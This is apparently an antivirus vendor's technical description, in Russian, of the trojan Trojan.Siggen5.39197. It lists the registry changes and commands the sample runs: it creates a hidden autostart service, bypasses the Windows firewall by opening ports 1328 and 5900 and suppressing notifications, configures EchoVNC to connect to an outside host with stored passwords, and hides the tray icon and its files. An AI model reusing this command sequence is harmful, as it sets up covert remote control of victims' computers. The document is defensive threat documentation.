Trojan.Siggen5.39197

Техническая информация

Для обеспечения автозапуска и распространения:

Создает следующие сервисы:

[<HKLM>\SYSTEM\ControlSet001\Services\NetService] 'Start' = '00000002'

Вредоносные функции:

Для обхода брандмауэра удаляет или модифицирует следующие ключи реестра:

[<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List] 'C:/WINDOWS/system/svchost.exe' = 'C:/WINDOWS/system/svchost.exe:*:Enabled:@xpsp2res.dll,-22019'
[<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'DisableNotifications' = '00000001'

Запускает на исполнение:

'<SYSTEM32>\reg.exe' ADD HKLM\Software\Echogent\EchoVNC\WinVNC3\EchoServers\ehnois.no-ip.info:1328 /v server /t REG_SZ /d ehnois.no-ip.info /f
'<SYSTEM32>\reg.exe' ADD HKLM\Software\Echogent\EchoVNC\WinVNC3\EchoServers\ehnois.no-ip.info:1328 /v username /t REG_SZ /d CRNJEUFU-%USERNAME% /f
'<SYSTEM32>\attrib.exe' file2 -h -s
'<SYSTEM32>\reg.exe' ADD HKLM\Software\Echogent\EchoVNC\WinVNC3\EchoServers\ehnois.no-ip.info:1328 /v port /t REG_SZ /d 1328 /f
'<SYSTEM32>\reg.exe' ADD HKLM\Software\Echogent\EchoVNC\WinVNC3\EchoServers\demo.echovnc.com:1328 /v username /t REG_SZ /d en10084 /f
'<SYSTEM32>\reg.exe' ADD HKLM\Software\Echogent\EchoVNC\WinVNC3\EchoServers\ehnois.no-ip.info:1328 /v ConnectionType /t REG_DWORD /d 00000000 /f
'<SYSTEM32>\reg.exe' ADD HKLM\Software\Echogent\EchoVNC\WinVNC3\EchoServers\ehnois.no-ip.info:1328 /v password /t REG_BINARY /d c904b03ea75c4ede /f
'<SYSTEM32>\reg.exe' ADD HKLM\SYSTEM\CurrentControlSet\Services\NetService /v Type /t REG_DWORD /d 00000420 /f
'<SYSTEM32>\reg.exe' ADD HKLM\SYSTEM\CurrentControlSet\Services\NetService /v FailureActions /t REG_BINARY /d 00000000010000000100000001000000000000000100000000000000 /f
'<SYSTEM32>\net1.exe' start NetService
'<SYSTEM32>\sc.exe' create NetService binPath= "%WINDIR%\system\svchost.exe -service NetService" start= auto depend= Tcpip
'<SYSTEM32>\attrib.exe' %WINDIR%\system\Echoware.dll +S +H
'<SYSTEM32>\attrib.exe' file1 -h -s
'<SYSTEM32>\attrib.exe' %WINDIR%\system\svchost.exe +S +H
'<SYSTEM32>\reg.exe' ADD HKCU\Software\Echogent\EchoVNC\WinVNC3 /v Password /t REG_BINARY /d c904b03ea75c4ede /f
'<SYSTEM32>\reg.exe' ADD HKLM\Software\Echogent\EchoVNC\WinVNC3 /v Password /t REG_BINARY /d c904b03ea75c4ede /f
'<SYSTEM32>\reg.exe' ADD HKLM\SOFTWARE\Echogent\EchoVNC\WinVNC3 /v AuthRequired /t REG_DWORD /d 00000001 /f
'<SYSTEM32>\reg.exe' ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 5900:TCP /t REG_SZ /d "5900:TCP:*:Enabled:@xpsp2res.dll,-22003" /f
'<SYSTEM32>\reg.exe' ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile /V DisableNotifications /t REG_DWORD /d 00000001 /f
'<SYSTEM32>\reg.exe' ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List /v C:/WINDOWS/system/svchost.exe /t REG_SZ /d "C:/WINDOWS/system/svchost.exe:*:Enabled:@xpsp2res.dll,-22019" /f
'<SYSTEM32>\reg.exe' ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 1328:TCP /t REG_SZ /d "1328:TCP:*:Enabled:@xpsp2res.dll,-22003" /f
'<SYSTEM32>\reg.exe' ADD HKLM\Software\Echogent\EchoVNC\WinVNC3\EchoServers\demo.echovnc.com:1328 /v password /t REG_BINARY /d d99d20511ee451d8 /f
'<SYSTEM32>\reg.exe' ADD HKLM\Software\Echogent\EchoVNC\WinVNC3\EchoServers\demo.echovnc.com:1328 /v port /t REG_SZ /d 1328 /f
'<SYSTEM32>\reg.exe' ADD HKLM\Software\Echogent\EchoVNC\WinVNC3\EchoServers\demo.echovnc.com:1328 /v server /t REG_SZ /d demo.echovnc.com /f
'<SYSTEM32>\reg.exe' ADD HKLM\Software\Echogent\EchoVNC\WinVNC3\EchoServers\demo.echovnc.com:1328 /v ConnectionType /t REG_DWORD /d 00000000 /f
'<SYSTEM32>\reg.exe' ADD HKLM\SOFTWARE\Echogent\EchoVNC\WinVNC3 /v DisableTrayIcon /t REG_DWORD /d 00000001 /f
'<SYSTEM32>\reg.exe' ADD HKLM\SOFTWARE\Echogent\EchoVNC\WinVNC3 /v BlankMonitorEnabled /t REG_DWORD /d 00000000 /f
'<SYSTEM32>\reg.exe' ADD HKLM\SOFTWARE\Echogent\EchoVNC\WinVNC3 /v RemoveWallpaper /t REG_DWORD /d 00000000 /f